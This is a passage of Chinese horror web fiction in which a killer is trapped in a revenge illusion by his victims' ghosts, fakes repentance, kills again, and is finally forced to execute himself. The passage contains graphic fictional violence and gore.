提到死字时李勇一点忌讳的态度都没有,语气漠不关心,就像陈述一个无关紧要的事实。 女人表情瞬间变了:“死什么死?合着你一直盼着我死?我告诉你,就算我死了这套房子也落不到你的手里,我就是丢了捐了也不会给你!平时被人背后指三道四屁都不敢放一个,现在搁我面前窝里横?我费钱又费力辛辛苦苦把你救回来你就这么报答我?平时供你吃住又哪点对不起你?跟你那两个讨债鬼爹妈一样,死了都不让人安生!” 话说到一半,女人的眼眶就红了一圈,强压着涌动的泪水。 蒙圈的李勇终于在女人尖利的咒骂里回神,看见这一幕,不仅没有愧疚心疼,反而一阵窝火。 他自幼就和父母分开,两口子到大城市打工,把他寄养在姑妈家,每月定期给汇点生活费。 原本他的日子过得还算可以,姑妈因为身体的原因没要孩子,脾气不好的姑父看在钱的份上对他也算尽心尽力,相当于把他当成自己的孩子来养。 但突然有一天他爸那边就不汇钱了,又过了两年他妈也没了音讯。他姑妈去找过几次,最后一次回来时脸色很难看,骂骂咧咧地说他爸妈都死了。 李勇知道他爸妈没死,也很反感姑妈这么说,但她偏不,每次都骂得很难听,还指桑骂槐连带他一起骂。 但凡他有去找爸妈的心思,姑妈就会当场变脸,骂他没良心,骂他是白眼狼畜生,不给钱还克扣他的伙食。 他没忍住当场怒骂回去,摔碗掀桌子,然后动了手,他姑父知道这件事后不分青红皂白摁住他一顿狠揍,鼻青脸肿的他两天没敢出门见人。 尖酸刻薄的姑妈一家,狭小破旧的住处,缩衣节食的生活,被迫寄人篱下的处境。 这段过往一直被李勇视作不幸人生的根源,不愿意回想,可现在谢叙白把它翻了出来,赤裸裸地摆在眼前。 李勇感觉到了屈辱,涨红着脸拽住姑妈的胳膊:“说够了没有?!” 他蓦然站起身,双眼发红像是能喷出火来,用力撕拽姑妈的脸皮:“哈!我知道了!你是想通过这种方法羞辱我对不对?你以为伪装成姑妈就能让我痛苦吗?我告诉你想错了,我根本不把他们放在心上!给我变回去,不然我杀了你!” 姑妈尖叫:“李勇?你疯了!你在干什么!?” 嘭一声房间门被人用力撞开,五大三粗的姑父出现在门口,再下一秒李勇的侧脸爆出剧痛,被冲过来的姑父一拳头打倒在地。 “畜生东西!你刚才在对你姑妈做什么?” 李勇蜷在床边头晕眼花,看见姑父怒不可遏的脸和那高壮的身体,吓得噤声,又被人劈头盖脸狠狠踹了几脚,痛得七荤八素,惨叫连连。 挣扎中,李勇感觉有什么东西从鼻子里扯了出来,是两条长长的吸氧管! 他捂住陡然憋闷的胸口感到一阵窒息。 于是李勇又想起来,其实自己成年之后就搬离了姑妈家,谁知道他租房的地方有人违规把电瓶车搬到楼里充电,引发火灾。 他租的是串串房,就是房东为了多收租金,打通隔断墙,将原本的三室一厅改造成七、八个房间,连厕所堵上坑后都能再当一个房间住,用木板隔断,粉刷当墙,这样的地方消防安检自然不过关。 于是火势一传开,几个板房瞬间被引燃,而他在床上玩着手机,无知无觉地被卷入汹涌火海。 虽然姑妈家花大钱把他从鬼门关拉了回来,但他的人生在这一天就已经毁了。 面部大范围烧伤,伤疤狰狞,变得不人不鬼,小孩见到直接吓哭,正常人也是不敢直视退避三舍。 呼吸道严重受损,必须一直佩戴便携式呼吸机,伤及脏腑,再也碰不了体力活,吃饭的时候都不敢大喘气。 躺在病床上痛得哭爹喊娘的李勇,那段时间格外痛恨起姑妈一家来,为什么要把自己救活,忍受这样的折磨。 受惊的姑妈扶着桌子,她怔怔地白着脸,似乎寒了心,可一看李勇喘不过气浑身痉挛认错求饶的样子,到底是含着泪冲上来扯住自己的丈夫:“够了,够了!他现在的身体不能再折腾了!” 一番拉扯,姑父终是妥协,恨恨地把李勇丢在床上。 看着李勇手忙脚乱地把吸氧管重新塞进自己的鼻孔,其他什么都没顾上,不道歉也不解释,眼底还透出一抹不服气的阴狠,这一刻姑父对李勇的厌恶达到顶点,扭过头对姑妈说:“你就惯他吧,早晚有一天要被你惯出事!” 姑父气冲冲地走了,姑妈和李勇相顾无言。姑父走后,男人就像触底反弹,气势瞬间又足了,还在用质疑冷漠的目光审视她,像一只欺软怕硬的鬣狗。 半晌,女人心灰意冷,通红眼眶颤着声音冷冷地说:“你,现在就把自己收拾好,然后去干活。这间屋子我们打算租出去了,明天你就搬到地下室,我们不会再给你钱,也不会再供你吃穿,更不会再管你,剩下的日子,你自己看着办吧!” 李勇鬓角青筋一跳,他最受不了的就是女人这副好像为他付出了很多的语气。 特别是提到这套房子,他咬牙切齿:“当初要不是你们耍阴招让爷奶把房子给你们,爸妈也不会因为钱闹离婚,更不会出去打工不回来!我也不会变成现在的样子!这套房子本来就有我们家一份,现在你们要把房子租出去,凭什么?” 一瞬间,房间陷入死一般的安静,女人缓缓露出惊愕的表情,不敢置信地盯着他。 “原来你就这样想我们。”女人气到脸皮发颤,从牙缝中挤出字来,“是你爸妈说的,这套房子是我们耍阴招得到的?他们怎么不说当初爸妈生病瘫痪在床,是谁一把屎一把尿地给他们养老送终,又是谁冷血薄情,临到爸妈葬礼才回来看一眼,一回来就闹着要分房子和爸妈的棺材本?!” “你真的是,你,你!” 图一时口头之快的李勇心脏一咯噔:完了。 五分钟后,李勇连人带行李一块被姑父丢出家门。 他们家在一楼,老小区住的又多是退休大爷和大妈,白天长椅、亭子里几乎都是人,看到李勇被赶出来,立马投来怪异的眼神,交头接耳,窃窃私语。 无数道看热闹的目光像尖针扎在后背,头顶阳光直照在身上,暖洋洋的热意反倒让李勇发慌,因为这感觉太真实,不像是幻觉。 直到这时他才真的慌了神,见姑妈要关门,连忙伸脚抵住门,死乞白赖地恳求:“不,不是,姑妈,我刚才脑子不清醒,那些话都是我说着玩的……” 姑妈却一反常态,不仅没有心软,还狠狠地踹了他一脚。这一下直接踹中李勇的烧伤,他痛得脸皮扭曲,急忙把腿缩了回去。 “是说着玩的,还是憋了多年的心里话,你自己清楚。”姑妈的语气冷得仿佛要掉冰渣。 如果李勇多仔细关注下她的表情,会发现女人的眼里始终含着一汪泪。 最终这汪泪在李勇的诋毁下一点点干涸,如同她对李勇的最后一丝不忍,最后一点期颐。 就像徘徊着迟迟没有往生的魂灵,终于狠下心斩断对尘世的留念。 “以后你别再来我家,我家的门也永远不会再对你打开。”女人居高临下地冷笑道,“最后告诉你一件事,你爸在你六岁的时候就在外面找小三,还生下了一个私生子,正在大城市里搂着他的小老婆快活呢!你妈后来也找了人,现在孩子估计都上高中了,还对我说你要是敢去打扰她的家庭,她就掐死你!你想要去找他们,尽管去。” 李勇听到这话,如遭雷击。 “我原本以为,是我以前说话不留嘴,对你太苛刻,所以才让你……呵,现在看清楚了,你们一家子都是狼心狗肺的贱货。” 女人像看脏东西般扫他一眼,满眼嫌恶痛悔,嘭一声,重重地关上了门:“滚!” 门关上的前一刻,丈夫来到女人跟前,沉默地叹了口气。 一缕金光从他们的肩膀掠过,似乎安慰地轻拍,门后再没传出一丝声响,只余一片孤寂。 被拒之门外的李勇不死心,不断拍门说尽好话,也没能让门再打开,暗骂一声,气急败坏地踹了门一脚。 身后探头探脑围观的人越来越多,平日里听说过李勇的人品,都觉得他活该,对着他指指点点。 李勇听到那些话,恶狠狠地看了过去:“找死吗?” 他脸上大片暗红色烧伤疮疤,一皱眉,更显得狰狞可怖,加上杀人无数,浑身散发着骇人的血腥气,吓得那些人不敢再嘀咕,悻悻地走了。 李勇没工夫和他们扯皮,满脑子惊疑不定。 姑妈说的那些事情,他被抓捕枪决都不知道,谢叙白又是从哪儿得知的? 李勇作为店老板,知道要构建出一个真实的游戏世界难度有多大,可现在他扭过头,看向那些喜欢嚼舌根的八婆,破旧碎裂的地砖,无人修剪的杂草,简直无处不真实。 如果谢叙白有这样的能力,直接杀了他不是更痛快? 难道说,这里不是游戏?是他真的回到了过去? X的! 李勇看着紧闭的大门,悔不当初。 如果真的回到了过去,再过不久女人就会出意外,而借酒消愁上了岁数的男人也会突发脑溢血去世。 他俩没孩子,房子最终还是会过户到他的名下。 可一切都被他的冲动给毁了!这两个老不死的一定会改遗嘱! 李勇没忍住又狠狠踹了门一脚。 现在要怎么办? 不。李勇不肯接受,阴狠地想,他一定还在游戏内,不是现实,不然他就彻底毁了! 也是这时,背后忽然有人惊讶出声:“李勇?你是怎么了,为什么地上全是衣服……” 李勇闻声回头,看到了一张意想不到的脸,瞬间脑海里闪过一则报纸上看到的新闻。 【xx年x月x日晚,某男子在地下车库遭到撞击碾压……】 男人听到车子引擎轰鸣声猝然转身,迎着刺目亮白的车前灯光,始料未及地瞪大眼,被撞前一刻,他看清了凶手的脸,恐慌且错愕。 李勇清晰记得男人那时候的表情,更记得车子撞上男人后,反震到手握方向盘的掌心的触感,胸口在急剧加速的心跳里,爆发出一阵酣畅淋漓的快意! 或许当时会慌张,怕被逮捕,但之后只剩下开心。 李勇回味着那无法言喻的感觉,凝视男人此时无知无觉的样子,一点点地挑起了嘴角,怪异地笑出声。 “没事,我和姑妈闹矛盾了,她说让我滚出家门,一辈子别回去,我知道她是气话。” 李勇直勾勾地盯着男人:“你能收留我两天吗,看在咱们当年一起从火海里逃出来的份上。” 男人稍作犹豫,但还是大大方方地答应了:“好。” 在李勇看不见的视角,一缕金光悄然落在男人的肩膀。 男人表现得比李勇还亢奋,眼珠子僵滞地转一圈,弥漫出森寒诡谲的气息,一不小心掐断了手指头,又赶忙装回去,小声地对金光说道:“谢谢您。” 李勇骂骂咧咧收拾散乱在地的衣服,没听清问了一嘴:“你悄悄咪咪瞎嘀咕什么呢?” “没什么。”男人嘴角咧开一个大大的弧度,笑得灿烂畅快,“只是在感谢神明。” 第197章 刽子手之死(2)…… 感谢神明?什么玩意。 李勇没有细想,懒得琢磨男人的心思,毕竟这家伙在他看来已经是个妥妥的死人了。 收拾完行李,李勇跟着男人走向住所。 他们住在同一个老小区,算得上狐朋狗友,工头来招人搬砖的时候,两人结伴一起去了,理所当然的租在同一层串串房里,所以有了火海共同逃生一说。 不同的是,男人选的房间靠近大门口,他的房间在最里面。 大火烧起来男人能够迅速逃生,他却被高温浓烟堵在屋子里挣扎不得。 然后男人屁事没有,只有胳膊肘和背部轻微烧伤,还因为救下隔壁两名下夜班回来昏昏大睡的室友,被新闻竞相报道嘉奖,荣获锦旗和高额奖金。 因为那狗屁警员分析说男人本来可以自己逃之夭夭,如果不是中途折返回来救人连烧伤都不会有…… 紧盯着前面领路的男人,愤恨的情绪仿佛顺着当初那场大火一路烧到李勇的心里。 他还记得当初房东本来打算把靠门的房间安排给他,是男人说靠门的位置有人进进出出,太吵容易睡不着觉,打着照顾他的旗号和他交换。 不是这样的话,他也不会遇到这场灾难! 可男人倒好,完全忘记是自己帮他挡了一劫! 他躺在医院重症监护室痛哭流涕,男人却在电视上拿着锦旗自鸣得意地说什么:“这都是我应该做的。” 他有想过自己吗?啊! 李勇心里不忿地道。 那些荣誉奖金还有被领导赏识晋升的机会,本来都该是他的,是眼前的人夺走了他的人生! 不过没关系,男人欠他的,他会自己讨回来。 这次只要注意点,躲开警方的视线,找雇主提前拿到钱早点逃到国外,就不会有什么大事。 李勇啪啪打着算盘,嘴角不自觉流露出一抹阴毒的笑。 不知道是不是天气转凉的原因,路上行人越来越少,刚才还很热闹的小区,突然一下子沉寂起来。 有阳光照着还好,走入楼梯过道,温度骤降,从黝黑的走廊尽头吹出来一阵阵阴风,冷得刺骨,李勇不受控制地起了一身鸡皮疙瘩。 过道居然也没人,只有老式电梯嗡嗡运转着,安静过了头,总叫人瘆得慌,李勇随口一问:“你今天怎么没上班?” “啊。”男人头也不回地说道,“我刚下班,身体有点不舒服,张工头就让我先回来。” “可惜了。”李勇笑一声,“我要是成了班组长,肯定硬撑着,工作两年连车子的首付都攒出来了,平时挣不少吧?这请一天假得少多少钱啊。” 他说话酸气都快溢出来,一股子阴阳怪气的味,可是男人好像没发现,如常回答。 “我也是这么想的,多拼一拼,早点还完车子贷款,也省得现在节衣缩食。但张工头说不扣钱,反正只休息半天,他找人帮我看一眼。” 男人有意无意地感慨道:“张工头可真是个好人,比咱们一开始遇到的组长好多了!你还记不记得之前不小心迟到两分钟,结果被那混蛋扣了半天薪水。大火那天你那么晚回宿舍,是不是也因为他把你扣下来骂了大半天?” 听到这话的李勇回忆起那天经历,状似和善的笑脸都要绷不住了。要说他起杀心的人有哪些,他们组长必定算一个。 要不是那天被骂得心头窝火,回来后什么都不想理,他又怎么会戴上耳机,没能及时听到外面的呼喊声……平时他都是嫌耳机噪音太大,开的外放啊。 过去的事情,一桩桩一件件,宛如扎根在李勇心头的刺,想得越多,越叫他扭曲狰狞,粗重的喘息喷入吸氧管,如破风箱一样嘶哑难听,在老旧的电梯里回荡。 叮。 电梯上行,抵达楼层。 男人几步走到家门口,掏出钥匙开门,却听见身后李勇忽然叫他的名字:“人人都说你是个大好人,我问你兄弟,你有没有一丁点惭愧后悔,当初硬是要和我换房间的事?” 不等男人说话,李勇状似感激地说:“你肯定有,不然也不会偷偷往我家的门缝里塞装钱的信封,你知不知道听到这事后,我的心情简直是……” 或许这段话戳中了男人,他拉开门的手微微一顿,回过头。 却见李勇忽然狞笑着冲上来,举起从行李箱里抽出来的酒瓶! 嘭! 李勇拽住男人昏倒的身体,左右警觉地看了看,发现没人后,放心地将男人拖进屋子里,把门关上。 他轻车熟路来到厨房,将帕子打湿拧干,卷在手上充当手套,又将男人拖到厕所,冷漠地掂量两下菜刀,毫不犹豫地一刀砍了下去! 噗呲。 血顺着伤口流入蹲坑和地漏,部分溅到李勇的身上。 确定男人的心脏不再跳动,李勇浑不在意地抹一把脸,冷笑着啐了一口:“既然愧疚,就应该把你得到的奖金全吐出来,给那么点钱算怎么回事?你在可怜谁?” 他想起姑妈给他找到那份工作,说什么很轻松,其实就是在工地门口卖盒饭算账的,饭不用他做,但也要频繁下腰弯身,大夏天累得汗流浃背,满身烧伤被捂得又痒又疼,算得上什么好差事。 不仅如此,还要看着同样遭遇却不同命的男人开着新车从工地上下班。 自己这边点头哈腰被人骂丑鬼怪物,男人那边意气风发受人敬仰,李勇怎么都忍不下这口气。 终于在姑妈姑父出世后小半年,策划了一场针对男人的地下车库谋杀。 原本他没想那么多,只是日益被妒忌蒙了眼,想到自己都这样了,拉一个前途无限的人陪葬也不算亏本,事后才知道害怕,仓皇逃窜。 没想到最先找到他的不是警方,而是某个信奉邪门歪道的富豪,雇他抢婴儿养小鬼,还扬言婴儿的父母必须枉死,这样才能斩断尘缘,滋养怨气…… 反正那些神神叨叨的东西他听不懂,只知道杀人偷孩子有钱拿就是了! 最后一次出手也不知道是不是运气不好,被警方堵住一网打尽,没来得及销毁的那批货里,正好有那个该死的叫宴初一的玩家。 一想到被人连续破纪录,李勇那叫一个恨啊,早知道逃不了就该提前把那些婴儿都掐死。 总之这次他一定不会再那么不小心。 想到这里,李勇又往男人身上砍了两刀!他作恶多端又足够心狠手辣,动起手来毫不眨眼,确定没有诈尸的迹象,方才站起身,不紧不慢地擦掉自己留下来的指纹。 这次的他,动起手来比第一次还要干脆利落,相信雇主看到新闻后很快就会来找他。 在那之前不急,先让他吃饱喝足……寂静的屋子里空无一人,李勇翻箱倒柜毫无顾虑,嚣张自然得像称王称霸的猴。 他打开冰箱,看到里面居然还有没吃完的半只烤鸡,顿时挖苦地嚯一声:“小日子过得挺滋润啊。” 他毫不犹豫地端出来,微波炉里加热。 闻了闻,没什么异味,喷香扑鼻,勾得肚子咕噜噜地叫。 李勇饿得吞口水,谨慎地切出一小点,丢进鱼缸里,看到呆头呆脑的鱼儿争先恐后去啄,最后被乌龟一口抢去,方才放心地撕扯下一大块,大口塞进嘴里。 好吃! 烤鸡放一天竟然没干,丰腴咸香的肉汁在口腔完全爆开,嫩滑弹软的皮肉更像是在味蕾跳舞。 李勇被扫地出门时什么都没吃,一尝到味就停不下来了,眼睛放光,一口接一口狼吞虎咽! 直到吃太快哽住,憋得他胸口发慌,忍不住用力地挥拳捶打! “别急嘛,慢慢吃,来喝口水。”身边突然传来慢条斯理的男声。 李勇连忙接了过去,把水一口气喝完。 有块骨头卡在食道,顺着水流滑下去一点但还是不上不下。 李勇难受地扭头说再来一杯,却猝然对上男人阴气森森的笑脸。 手指一颤,水杯摔在地上,啪嚓一声脆响。 男人:“怎么样,我的肉好吃吗?” 李勇骇然扭头。 只见盘子里放着的,哪里是什么烤鸡,而是一大块鲜血淋漓的红肉!它的表面不停膨胀收缩,像活物。 李勇只看一眼,就忍不住作呕,很快他发现不是心理反应,是卡在食道里的那块骨头在蠕动,它伸出触须,仿佛寄生虫一样从黏膜层钻入皮肉,在他肚子里肆意凿洞。 “我杀了……哇!” 事到如今李勇怎么不知道自己着了道,发狠地扑上去,结果扑了个空,捂住肚子痛苦地吐出大块黑色的腐肉,还有一些被捣碎的脏器。 他惨叫,满地打滚,痛得肌肉抽搐,眼珠子翻白往外突,哭爹喊娘。 “你问我,会不会后悔和你换房间。”男人拿着刀蹲下,轻嗤一声,“开什么玩笑,你这种渣滓都不知道后悔,我悔什么?当初是你嫌门口太吵,闹得房东没面子差点把我们赶出去,我才说和你换房间!你把自己想占便宜的事情忘了,到头来还怨上我了?嘁!” 他欣赏着李勇眼泪鼻涕横流的惨状,终于在人连叫都叫不出声的时候,逆着白炽灯,落下大片的阴影,快意地举起刀:“这是第一天!” …… “啊啊啊啊!” 李勇汗流浃背地睁开眼。 躲避球游戏、真正的球员和球、黑白棋子对局,瞬间所有的关键信息在脑海中清晰浮现。 看到身边伫立着一道人影,他惊魂未定的李勇杀性大发,扭曲着脸双手掐过去,决定先下手为强:“是你他X的装神弄鬼?我杀了你!” “精神病当街杀人啦!” 周围响起此起彼伏的尖叫声,李勇还没顾得上用劲儿,就被围观群众七手八脚摁倒在地,他发狂地挣扎,不知过了多久,警卫人员倒来,用上电击棍。 在一阵激烈的电流中,他被电得七荤八素,浑身颤抖吐白沫,径直晕了过去。 再次醒来,睁眼却看见雪白的天花板,手术灯光大放,刺得人睁不开眼。 李勇发现自己被五花大绑在手术台上,被堵住嘴动弹不得,这一刻心里的恐惧攀升到顶峰:“唔唔!唔!” “这是第二天。”有个穿白大褂的人走过来,拉下口罩,笑了笑说,“还记得我是谁吗?一个好心给你指路的无辜人,却被你拖到巷子里掐死,抢走身上的财物……你知不知道那天是我的生日啊?我欠朋友们一顿饭,欠爸妈一句对不起……我真的,真的,好恨啊!!” 在李勇惊恐万状的目光里,亮白手术刀直直地插入他的口中。 * 谢叙白等在手术室外,像是听不到里面撕心裂肺的惨叫,指尖蕴着温暖的金光。 几道怨魂飘在他的身边,像受尽折磨后终于找到可以为自己伸张冤屈的人,委屈地贴着他指尖的金光倾述。 “我知道了,没事的,不用担心他会在游戏结束后继续奴役你们。”谢叙白温言细语,柔声安慰说,“等到你们都了却因果后,就让我来彻底做一个了结吧。” 第198章 刽子手之死(3)…… 第三日,第四日,第五日。 正如游戏一开始看着人头在眼前颗颗落地,当听到“第六日”从折磨自己的怨魂嘴里吐出来时,李勇感觉自己和崩溃没什么两样,像站在绞刑架下的人,痛苦后悔将他淹没,再也承受不了更多。 于是第七次睁开眼,他什么都顾不上了,一路屁滚尿流地跑到大街上,逮住一个人哭得稀里哗啦。 “我知道错了,我后悔了!我不该杀人,不该草菅人命!叫人抓我!快让人抓了我吧!” 人们好像被这突如其来的一幕惊呆了,看热闹的,帮忙的,纷纷围了上来。 四面吵闹不休,人头攒动,影影绰绰,询问发生了什么事。 李勇只跪在地上死死地抓住那人,痛哭流涕地忏悔迄今以来的所有罪行,包括小时候参与霸凌,觉得好玩诬陷同学。 仍由谁拉扯都不肯起,一个劲儿地说:“我错了!我有罪!” 说完,重重地磕起头来! 吵闹的声音越来越小,像潮水慢慢褪去,变成无数道冰冷麻木的目光审视着不断认罪的李勇。 直至平静的嗓音响起,音量不高不低,却似重锤砸在心头:“你真的知道错了吗?” “知道!知道!”李勇像抓住最后一根救命稻草,忙不迭地说,眼泪鼻涕糊了满脸。 然后他就被抓了起来,送进执法机构。 执法人员挨个查证他犯下的罪行,查到第一件时眉头微皱,严肃地看向李勇:“这人没死啊,不过确实被人撞了,你就是那个在逃肇事司机?” 执法人员告诉李勇,不仅那些人没被杀,他坦白的犯案时间还在好几个月后,纯属无稽之谈! 现在可以确凿一个故意杀人未遂,被害人在医院得躺上好几个月。 李勇一开始完全听不进去,神经质地咬着手指,哆哆嗦嗦认错。 直到姑妈急头白脸地跑来执法机构,逮着他破口大骂,他才茫然地看了过去。 在看守所里被拘留十天左右,李勇上了法庭。 他戴着手铐穿上灰色囚服,面色憔悴,胡子拉碴,在被害人坐席看到了男人的父母,似乎心虚歉愧,不敢直视,只低着头对自己犯下的罪行供认不讳。 因为认错态度良好,未造成被害人死亡事实,庭审被判处十年有期徒刑。 入狱当天,李勇和其他重刑犯一起被羁押下车。 高墙巍峨伫立,像无声的巨兽。 门口有一大片空地,石灰地面在烈阳的直照下亮得晃眼,空荡荡的没有其他人影,只有荷枪实弹的警卫人员。 他排队跨过门廊,咔的一声重响,银白金属大门在他身后轰然合上,李勇没忍住回头看了一眼。 门口悄无声息地屹立着两道人影,面容在阳光下模糊不清,像是他的姑母姑父,随后转身离开。 李勇张开嘴想要叫人,没来得及,人影已然渐渐淡去,他怔忪地看着,良久闭上嘴,沉默地往监狱里走。 此后便是漫长的服刑期。 早上六点半响铃起床,七点一十清洁卫生,七点二十操场集合,七点三十进厂区劳动……监管单位对服刑人员的时间把控非常严格,各种条条款款的约束仿佛要把规矩拿铁锤凿进人的脊骨里,在里面没有任何偷奸耍滑的可能性。 活在社会里的自由人很难适应上厕所都要大声打报告的生活,何况囚犯之间还存在鄙视链,像李勇这样狼心狗肺,出于嫉妒就开车撞人的,实在叫人看不起。 于是李勇睡觉被抢被子,吃饭要“上供”,碰到大哥要低头弯腰,稍不注意说错话,就会被人按在地上,拿脚踩着后脑勺,轻蔑鄙夷地问他认不认错。 李勇都受了,带着哭腔卑微地说,我认,我认。 来到监狱的前两年,李勇基本上是恍惚的,时常分不清现实幻觉,盯着钟表或电子显示屏的时间发呆。 五年过去,他像是终于接受现实,也终于习惯这样的生活,不再将“我错了”挂在嘴边,而是身体力行地忏悔自己的罪过。 监狱劳动有报酬,他把所有的钱都攒了下来,半分没舍得花,一半寄给姑妈,一半寄给男人。 又是两年过去,李勇勤勤恳恳服刑,老老实实做事,监狱谁有个难处,他都会竭尽全力去帮,有人想要越狱带他一起,他严词拒绝反应上报,屡次获得嘉奖表扬,渐渐地,大家对他有所改观,连看管人员也会忍不住夸赞。 如此便过了七年,由于表现良好又有举报他人越狱立功,李勇得以减刑。 出狱的时候恍若隔日,李勇无措地张望空荡荡的大门口,直至看到眼眶通红的姑妈,顿时唇皮哆嗦起来,两三步快走过去,激动小声地唤她。 姑妈看着他,没说话,良久才带着哭腔叹口气,说:“走吧,走吧!” 一路无言地回了家。 李勇这些年在狱中养成看时间的习惯,到了家里也没改,要抱着手表或闹钟才能安然入睡。 第二天他打听到男人现在的住所,拎着营养品和水果上门道歉。 七年过去,双方岁数都不小了,男人这边成家立业,家和美满。 小朋友看到李勇拘谨地坐在沙发上,蹦蹦跳跳地跑过来,贴心地递给他一个橘子,甜甜地笑:“叔叔,你吃。” 看着这幸福的一家子,李勇目光闪烁,男人以为他会嫉妒不忿,岂料李勇却欣慰含泪地笑起来:“真好,真好啊。” 男人紧绷的肌肉倏然放松,狐疑地看着李勇,他居然真的改正了? 没人相信李勇会回头是岸,李勇自己也感到不可思议,但他好像习惯了生活在条条款款的规则下,习惯遵守公序良俗。 就这样日复一日,又是几年过去。 不知道是不是上天给予的奇迹,李勇的旧伤平白好转,再也不用时刻佩戴呼吸机。 人们接受不了他的伤疤,他就戴口罩。由于性格好,经常热心地帮街里乡亲的忙,周围的人渐渐接受了他的扮相,偶尔还会热情地邀请他去参加宴席,吃饭。 直到一个风和日丽的下午,街头面馆装修扩张,拜托李勇过去帮忙,李勇乐乐呵呵地答应了。 他站在装修工人的身后,给人递工具,忽然听到耳边传来一声重响。 回头一看,只见一人的身体变得透明,扛着的桌椅瞬间从淡化的肩膀滑落,砸在地上! “你怎么了?”李勇快步上前,惊慌失措地问。 那人先是吃惊,似乎也没有料到自己的变化,随后看着李勇火急火燎的样子,和其他人对视一眼,嘿嘿笑了一声:“没事老李!别慌。” 那人决定坦白,对李勇真情实意地笑道:“其实这个世界依然是假的,是那位神明专门建造来让你赎罪,既然如今你已经痛改前非,那么就不需要再关在这样的牢笼里了。” “李勇,祝贺你,你证明了自己。我们的仇恨既已得报,从今往后,两不相干。” 话音落下,熟悉的街景如玻璃罩般啪一声破碎,淅淅沥沥地往下掉。 李勇下意识闭上眼睛,恍惚听到耳畔响起一声:“第七日已过……” 恍若教堂的钟声敲响,悠扬绵长,橙红暮色下和平鸽纷飞,白色羽翅飘落。 在牧师温柔神圣的代祷声里,有罪之人灵魂的污渍终于涤清。 【叮!店主自愿认输,当前比分1:1平,游戏即将结束!】 李勇睁开了眼。 他发现自己正站在躲避球项目的前台,昏暗的视野里,只有一束日光从敞开的帐篷帘外照入。 恢复店主的职位,王国公民的评论面板也再次出现在他的眼前,观众们对谢叙白的落败激动极了,纷纷讨论着要怎么惩罚这个跳梁小丑。 李勇静默地看着,扭过头。 数道怨魂飘在半空,是男人他们,生前被他杀害,死后因果未断,被囚为伥鬼,被迫受他奴役。 许是李勇没有第一时间发作,只是怔怔地看着他们,男人主动上前,和善地笑着说:“老李……” 幻境十几年,李勇用行动证明他在诚信悔过,男人也在第十五年和李勇冰释前嫌。他唤出这声老李,带着和老友重修旧好的亲切。 下一秒。 咔。 杀猪刀砍下来的时候风声很快,所有怨魂始料未及,只是眨眼的功夫,男人的诡体被一刀两断,黏稠猩红的血如花溅射。 其他怨魂看着倒在地上的男人,又看向握着沾血杀猪刀,笑得一脸老实平和的李勇,瞳孔一寸寸放大。 怨魂:“你为什么……” 又一声“咔”。 杀猪刀当空挥下,将他斩成两半。 李勇抹去溅到脸上的血,老实憨厚的脸上,眼睛缓缓弯成一条细小的缝隙,恶毒残忍的笑意喷涌而出:“痛快了。” “老子忍辱负重整整十七年,等你们露出马脚,等那贱人精神力耗尽。真好,没白等。” 李勇还是那个李勇。 就像那些服刑期间洗心革面,出来后继续兴风作浪的恶人一样。 连带受害人在内,谁也没能想到他们居然这么能演,演了整整十多年。 李勇满脑子都是自己给人当了十多年孙子的憋屈,此时终于出上一口恶气,杀着杀着就畅快地笑出了声! 就是这种手感,就是这样痛苦的表情! 再叫得大声一点,凄惨一点!他听着开心! 也是这时,李勇瞄见谢叙白的身影。 青年站在通道口,瞪大眼睛,满脸不敢置信,似乎对认输放过他的事后悔不已,想要冲上来阻拦,却被其他怨魂拦住,哭喊着让他快跑! “天真,真是天真,你输掉游戏,居然还想跑吗!哈哈哈!” 李勇一个念头,青年就被规则束缚原地,动弹不得。 越来越多的怨魂前来阻止,李勇狞笑着挥动臂膀,杀猪刀如同割草,让一个个怨魂人头落地, 一个、两个、三个…… 六个! 七个! 八个! 加上最开始的男人,总共十一个怨魂惨遭毒手。 青年逃跑,身体背对着他。李勇忽然想到游戏最开始的那场噩梦,什么第七天必死,他笑出声。 干脆扬起杀猪刀,在青年脑袋空挥一下,又解开束缚。 青年能动了,被拍了一下后背,他下意识看过来,看见李勇对他微微一笑,倏然扬起沉重锋利的杀猪刀,迎着青年惊恐的目光,用力地朝他的脑袋砍下去。 “死吧!!” 咔! 杀猪刀结结实实地砍到骨头上,一股滚烫的热流从李勇额头滑下来,啪嗒滴在他高扬的嘴角,比水要黏稠,像腐坏的老鼠肉般腥臭。 李勇茫然地摸了下脸,摊开,满手的血。 他缓缓抬头看过去,眼前被砍脑袋的人,分明就长着他的脸! 是他……杀了自己? 像是重新续上那场被砍头的噩梦,李勇后知后觉地感受到脑袋开瓢的痛。 尖锐,剧烈。 李勇痛到无力,重重地倒在地上,杀猪刀哐当落地,瞳孔逐渐涣散,像条濒死的狗一样痉挛抽搐。 他不敢置信。 怎么可能?为什么会这样?明明游戏已经结束了,那个人的精神力也耗尽了不是吗! 是他设计的? 是那个叫宴初一的玩家一开始就设计好的?! 而这些,李勇已经无暇理会。 完好无损的怨魂们围聚在李勇的身边,冰冷地俯视他。 没有什么第七天,那只是为了给李勇设定一个心理防线,让他误以为自己安全,好放心地撕破伪装。 怨魂们齐声宣判:“今天,就是你的死期。” 真实的系统播报声响起。 【由于球员被“真正的球”击中,陷入重伤状态,无法继续游戏,本次对局宣判店主“宴初一”胜利,恭喜!双方即将退出游戏……】 再一睁眼,又回到老旧的躲避球前台大厅。 规则重置身体状况,李勇的伤口眨眼间痊愈,他汗流浃背地从地上撑起身。 要不是“死过”那么多次,还真不一定能扛得住幻境中的痛苦。 这一伸手,碰到了沾血的杀猪刀,以往用来虐杀无辜者和玩家的凶器,这次竟然砍到自己的头上。 李勇的手瞬间弹回,有了心理阴影,再一抬头,就对上了谢叙白无波无澜的眼睛。 那双眼睛,如浩瀚宇宙般深邃宁静。 里面的银河星光璀璨迷人,但无边无际的神秘又叫人生畏。 ——谢叙白便是这样复杂的集合体,他温柔美丽,又强大威严,一晃眼,就叫人不经意间沉溺其中。 游戏已经结束了。 但店主还没有收取“惩罚”。 谢叙白看着李勇,陈述语气说道:“你的雇主没有让你砍下他人的脑袋,那是你的个人爱好,你喜欢观赏他人濒死前的痛苦。” 李勇想求饶,但没法开口,被规则定住身,瞳孔疯狂颤抖,泪水再次滑落。 但那只是鳄鱼的眼泪,改变不了他歹毒又无可救药的品性。 “既然这样。”谢叙白说道,“我作为店主,给予你代理店主的权责,负责收割失败玩家的脑袋,也就是你的脑袋。” “现在就动手吧。” 知道自己真的要死了的李勇,惧意攀到顶点,内心疯狂大吼大叫,眼泪鼻涕横流,丑态十足。 他颤颤巍巍地握住了刚才丢掉的刀,横在脖子上,缓缓拉出一条血线。 